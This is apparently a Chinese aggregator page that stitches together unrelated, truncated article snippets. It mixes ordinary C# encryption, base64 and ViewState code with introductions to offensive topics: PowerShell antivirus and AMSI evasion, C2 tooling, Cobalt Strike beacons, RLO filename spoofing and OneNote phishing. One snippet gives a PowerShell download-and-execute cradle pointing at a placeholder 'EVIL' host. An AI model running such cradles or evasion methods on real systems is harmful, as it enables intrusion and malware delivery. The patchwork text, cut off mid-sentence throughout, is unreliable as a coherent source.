IT 管理人员和安全专家经常会遇到一些看起来比较可疑的 PowerShell 命令,他们有时能够解开这些可疑的命令,但常常还得靠研究人员。本篇文章旨在让大家能够从下列项中来了解可疑命令的目的:
昨天在freebuf上看到了一篇文章,讲的是使用ps2exe将powershell.ps1文件,编译成为可执行的EXE文件.原文链接如下:
第一次尝试手动过杀软,成功与否全看运气,没有任何技术含量,仅做记录,标题带双引号是因为word并没有过静态的查杀
之前在Shells.Systems看到过一篇关于C2工具MuddyC3的分析文章,抱着学习的态度,来对该工具的工作原理进行学习,并从中汲取知识,窥探一线攻击组织的攻击手法,文末将会给出C2源码,方便大家学习。作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容希望能及时提出,以免误人子弟。
有时候我们在对内网环境环境进行渗透时发现了可渗透的云桌面并且进入到了云桌面的操作界面时,此时我们想要对该内网进行进一步的渗透测试却发现当我们上传一些工具到云桌面时却无法上传exe文件,但是可以上传诸如txt的文本文件,而且云桌面不出网,在这种情况下我们可以考虑通过window系统自带的一些工具来实现对文件上传限制的绕过
震惊!某小白竟然利用windows绕过了windows Defender、360等AV。
使用 DLL 或独立可执行文件的非托管 PowerShell 执行。
首先我们要知道AMSI是一个什么东西,之前做过相关的分享,这里就不再去啰嗦其概念了,一句话概括,win10自带的一个扫描接口,其核心组件存在于amsi.dll内,与windows defender相辅相成,过程如下:
PowerShx是一款功能强大的PowerShell软件,在该工具的帮助下,广大研究人员可以在目标主机上摆脱任何软件的限制从而执行PowerShell代码。
在本文中,将分析一款银行恶意软件,分为两个阶段。第一阶段是Windows快捷方式文件(LNK文件),第二阶段为Powershell脚本(已被ISESteriods混淆)。
前几天看了Y4er大佬免杀思路文章,我按照他的思路扩展了下总结的方法给大家参考,如有问题请大佬执教。
感谢群友@Erikten投稿 。这篇文章中还是存在有一些亮点,仔细看,相信你能发现!
普通下载 IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") PowerShell 3.0+ IEX (iwr
这里分析的为Cobalt Strike的Powershell Beacon Payload
在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。
#region DES加密解密 /// /// DES加密 /// /// <param name="strSource">待加密字串</param> /// <param name="key">32位Key值</param> /// <returns>加密后的字符串</returns> public string DESEncrypt(string strSource) { return DESEncrypt(strSource, DESKey); } public string DESEncrypt(string strSource, byte[] key) { SymmetricAlgorithm sa = Rijndael.Create(); sa.Key = key; sa.Mode = CipherMode.ECB; sa.Padding = PaddingMode.Zeros; MemoryStream ms = new MemoryStream(); CryptoStream cs = new CryptoStream(ms, sa.CreateEncryptor(), CryptoStreamMode.Write); byte[] byt = Encoding.Unicode.GetBytes(strSource); cs.Write(byt, 0, byt.Length); cs.FlushFinalBlock(); cs.Close(); return Convert.ToBase64String(ms.ToArray()); } /// /// DES解密 /// /// <param name="strSource">待解密的字串</param> /// <param name="key">32位Key值</param> /// <returns>解密后的字符串</returns> public string DESDecrypt(string strSource) { return DESDecrypt(strSource, DESKey); } public string DESDecrypt(string strSource, byte[] key) { SymmetricAlgorithm sa = Rijndael.Create(); sa.Key = key; sa.Mode = CipherMode.ECB; sa.Padding = PaddingMode.Zeros; ICryptoTransform ct = sa.CreateDecryptor(); byte[] byt = Convert.FromBase64String(strSource); MemoryStream ms = new MemoryStream(byt); CryptoStream cs = new CryptoStream(ms, ct, CryptoStreamMode.Read); StreamReader sr = new StreamReader(cs, Encoding.Unicode); return sr.ReadToEnd(); }
region DES加密解密 /// /// DES加密 /// /// <param name="strSource">待加密字串</param> /// <param name="key">32位Key值</param> /// <returns>加密后的字符串</returns> public string DESEncrypt(string strSource) { return DESEncrypt(strSource, DESKey); } pu
C# imgage图片转base64字符/base64字符串转图片另存成 //图片转为base64编码的字符串 protected string ImgToBase64String(string Imagefilename) { try { Bitmap bmp = new Bitmap(Imagefilename); MemoryStream ms = new MemoryStream(); bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jp
参考: http://www.cnblogs.com/zxx193/p/3605238.html?utm_source=tuicool http://www.cnblogs.com/freeliver
直接给码: using System; using System.IO; using Telerik.Windows.Zip; namespace JIMMY { public static class ZipHelper { /// /// 利用telerik的zip库压缩字符串 /// /// <param name="str"></param> /// <retu
Turla,也被称为 Snake,是一个臭名昭著的间谍组织,以其复杂的恶意软件而闻名。Turla 至少从 2008 年就开始运作,当时它成功攻击了美国军队。最近,它参与了对德国外交部和法国军队的重大攻击事件。
using System; using System.Text; using System.IO; using System.Security.Cryptography; class Class1 { static void Main() { Console.WriteLine("Encrypt String..."); txtKey = "tkGGRmBErvc="; btnKeyGen(); Console.WriteLine("Encrypt Key :{0}",txtKey); txtIV = "Kl7ZgtM1dvQ="; btnIVGen(); Console.WriteLine("Encrypt IV :{0}",txtIV); Console.WriteLine(); string txtEncrypted = EncryptString("1111"); Console.WriteLine("Encrypt String : {0}",txtEncrypted); string txtOriginal = DecryptString(txtEncrypted); Console.WriteLine("Decrypt String : {0}",txtOriginal); } private static SymmetricAlgorithm mCSP; private static string txtKey; private static string txtIV; private static void btnKeyGen() { mCSP = SetEnc(); byte[] byt2 = Convert.FromBase64String(txtKey); mCSP.Key = byt2; } private static void btnIVGen() { byte[] byt2 = Convert.FromBase64String(txtIV); mCSP.IV = byt2; } private static string EncryptString(string Value) { ICryptoTransform ct; MemoryStream ms; CryptoStream cs; byte[] byt; ct = mCSP.CreateEncryptor(mCSP.Key, mCSP.IV); byt = Encoding.UTF8.GetBytes(Value); ms = new MemoryStream(); cs = new CryptoStream(ms, ct, CryptoStreamMode.Write); cs.Write(byt, 0, byt.Length); cs.FlushFinalBlock(); cs.Close(); return Convert.ToBase64String(ms.ToArray()); } private static string DecryptString(string Value) { ICryptoTransform ct; MemoryStream ms; CryptoStream cs; byte[] byt; ct = mCSP.CreateDecryptor(mCSP.Key, mCSP.IV); byt = Convert.FromBase64String(Value); ms = new MemoryStream(); cs = new CryptoStream(ms, ct, CryptoStreamMode.Write); cs.Write(byt, 0, byt.Length); cs.FlushFinalBlock(); cs.Close(); return Encoding.UTF8.GetString(ms.ToArray()); } private static SymmetricAlgorithm SetEnc() { return new DESCryptoServiceProvider(); } } 3DES(即Triple DES)是DES向AES过渡的加密算法(1999年,NIST将3-DES指定为过渡的加密标准),是DES的一个更安全的变形。它以DES为基本模块,通过组合分组方法设计出分组加密算法,其具体实现如下:设Ek()和Dk()代表DES算法的加密和解密过程,K代表DES算法使用的密钥,P代表明文,C代表密表,这样, 3
随便写写的一个例子: // 保存图片到 XML 文件 private void Form1_Load(object sender, System.EventArgs e) { Image img = Image.FromFile(@"E:\MyDocs\My Pictures\样品.jpg"); System.IO.MemoryStream stream = new System.IO.MemoryStream();
定义string变量为str,内存流变量为ms,比特数组为bt 1.字符串=>比特数组 (1)byte[] bt=System.Text.Encoding.Default.GetBytes("字符串"); (2)byte[] bt=Convert.FromBase64String("字符串"); 补充: System.Text.Encoding.Unicode.GetBytes(str); System.Text.Encoding.UTF8.GetBytes(str); System.Text.Encod
在传统的.net应用中,使用base64编码字符串是一件很轻松的事情,比如下面这段代码演示了如何将本地文件转化为base64字符串,并且将base64字符串又还原为图片文件. base64编码在传统.net程序中的应用(by 菩提树下的杨过 ) using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; namespace Base64Study { /// /// bas
混淆是混淆不过人为分析的,只有加密才是yyds,而ssl加密是最常用的加密手段,比如c2上个ssl证书,配合一个aws
这一篇我们将介绍一下.net core 的加密和解密。在Web应用程序中,用户的密码会使用MD5值作为密码数据存储起来。而在其他的情况下,也会使用加密和解密的功能。
我们可以创建一个新的Windows窗体应用程序项目来演示,然后从Visual Studio工具箱中将图片框,标签和按钮拖到Winform中,然后设计一个简单的UI,该UI允许您从硬盘中选择图像,然后进行转换如下图所示,将图像转换为base64字符串或将编码后的base64字符串转换为c#中的image。
大家好啊,我是我们实验室的Mr.赵,几天前,一师傅就在说这个工具,正好,这个工具今天就出来了,我们一起来常常鲜,由于kali已经支持powershell了,这里我们就直接使用kali来演示了。
在网络应用中,基于Web的数据传输主要采用POST和GET两种方法。POST方法能够传输较大的数据量,并且在安全性方面表现更优。相比之下,GET方法以明文形式传输数据,虽然使用起来较为便捷,但对于大量数据的传输则显得力不从心。
经过免杀后的exe程序(xgpj.exe),进行重命名,在gpl位置插入Unicode控制字符,RLO(从左到右覆盖),如图
[TOC] 0x00 前言简述 描述: 在运维过程中会将服务器上数据文件备份在共享磁盘或者FTP服务器中,此处由于作者环境是在Windows系统上,且在业务上需要同步文件到FTP服务器中,遂有了此文,
有人说类似gridview datalist这样的控件最好不要用在高并发,IO大的网站中 企业应用中为了快速开发到可以用一用 因为这是一类"沉重"的组件 我们姑且不谈这种看法的正确性(我个人觉得有道理) 只谈它为什么笨重: 因为这些控件给页面带来了大量的 viewstate <input type="hidden" name="____VIEWSTATE" id="____VIEWSTATE" value= 这就是页面状态 一个页面里可能存在两种状态 控件状态,视图状态 page类是在 LoadPageStateFromPersistenceMedium() SavePageStateToPersistenceMedium() 存取页面状态的 这两个方法都是可以重写的 他们也可以把状态信息存储在别的媒介中 我们这里通过重写PageStatePersister属性 来实现自己的状态存取逻辑 我们为了压缩viewstate里的数据,必须先实现一个工具类:如下
本文将为大家详细介绍如何在只能访问远程桌面服务,且有 AppLocker 保护 PowerShell 处于语言约束模式下获取目标机器 Empire shell。PowerShell 处于语言约束模式,可以防止大多数PowerShell 技巧的使用。另外,还有 Windows Defender 也是我们必须要面对和解决的问题。
Microsoft.com是互联网上最广泛的域名之一,拥有数千个注册子域名。Windows 10将每小时对这些子域进行数百次ping操作,这使得防火墙和监视操作系统发出的所有请求变得极具挑战性。攻击者可以使用这些子域来提供有效负载以逃避网络防火墙。在最近尝试在社交媒体上分享文章时,Twitter阻止我在推文窗口中输入简单的PowerShell命令。Twitt
思路:使用随机向量,把随机向量放入密文中,每次解密时从密文中截取前16位,其实就是我们之前加密的随机向量。 代码 public static string Encrypt(string plainText, string AESKey) { RijndaelManaged rijndaelCipher = new RijndaelManaged(); byte[] inputByteArray = Encoding.UTF8.GetBytes(plainText);//得到需要加密的字节数组
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using System.Drawing.Imaging; using Packet; namespace TSProducer { pu
前言: 这一节提供一个简单的功能,这个功能看似简单,找了一下没找到EF链接数据库串的加密帮助文档,只能自己写了,这样也更加符合自己的加密要求 有时候我们发布程序为了避免程序外的SQL链接串明文暴露,需要进行一些加密手段! 加密主要分几类:对称加密,非对称加密,散列算法(自己百度脑补,这里不再多说) 我这里选择AES 256位的加密,主要加密速度算法快,安全性高,资源消耗低。 公司一直在使用AES加密来加密一些小数据量的数据,比较方法和安全 这是我选择加密AES的理由,当然你可以选择其他有名的加密
Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。可查看RFC2045~RFC2049,上面有MIME的详细规范。
MD5加密是最常见的加密方式,因为MD5是不可逆的,所以很多系统的密码都是用MD5加密保存的。
拿到了两个One Note的钓鱼样本。以为是个OneNote的0day,这不得分析分析搞一手。就花了点时间分析了一下,并且成功复现了手法。
因为业务需要调用接口获取的是 Base64文件流 需要提供给客户下载PDF文档 源码部分借鉴网上,具体地址忘记了。 //Base64文件流 byte[] buffer = Convert.FromBase64String(decodedString); System.IO.Stream iStream = new System.IO.MemoryStream(buffer); try {
Microsoft Office 是 Windows 操作系统中使用最多的产品,用来完成每日的工作,比如 HR 筛选简历、销售人员编写标书、汇报工作编写演示文稿等。如何利用 Office 软件的功能实现权限持久化呢?
/// /// C#/PHP/JSP 3DES 加密与解密(只支持UTF-8编码) /// public class Crypto3DES { /// /// 默认密钥 /// private string Keys; /// /// 密钥与加密字符串
Asp.net中的服务器控件都启用了viewstate,虽然方便了开发人员,但页面大小及性能上确实有所影响,对于无需viewstate的控件及页面可以直接把控件或页面的viewstate禁用掉,但对于必须的viewstate我们可以采取另一种方式来处理——压缩。判断是否需要viewstate压缩准则是,内网系统不必考虑压缩(网速够快还闲着没事消耗服务器CPU资源干啥啊。。。),对外系统根据viewstate长度选择性进行压缩(当viewstate长度大于某个值时进行压缩,太短还压缩得不偿失哦。。。)
领取专属 10元无门槛券
手把手带您无忧上云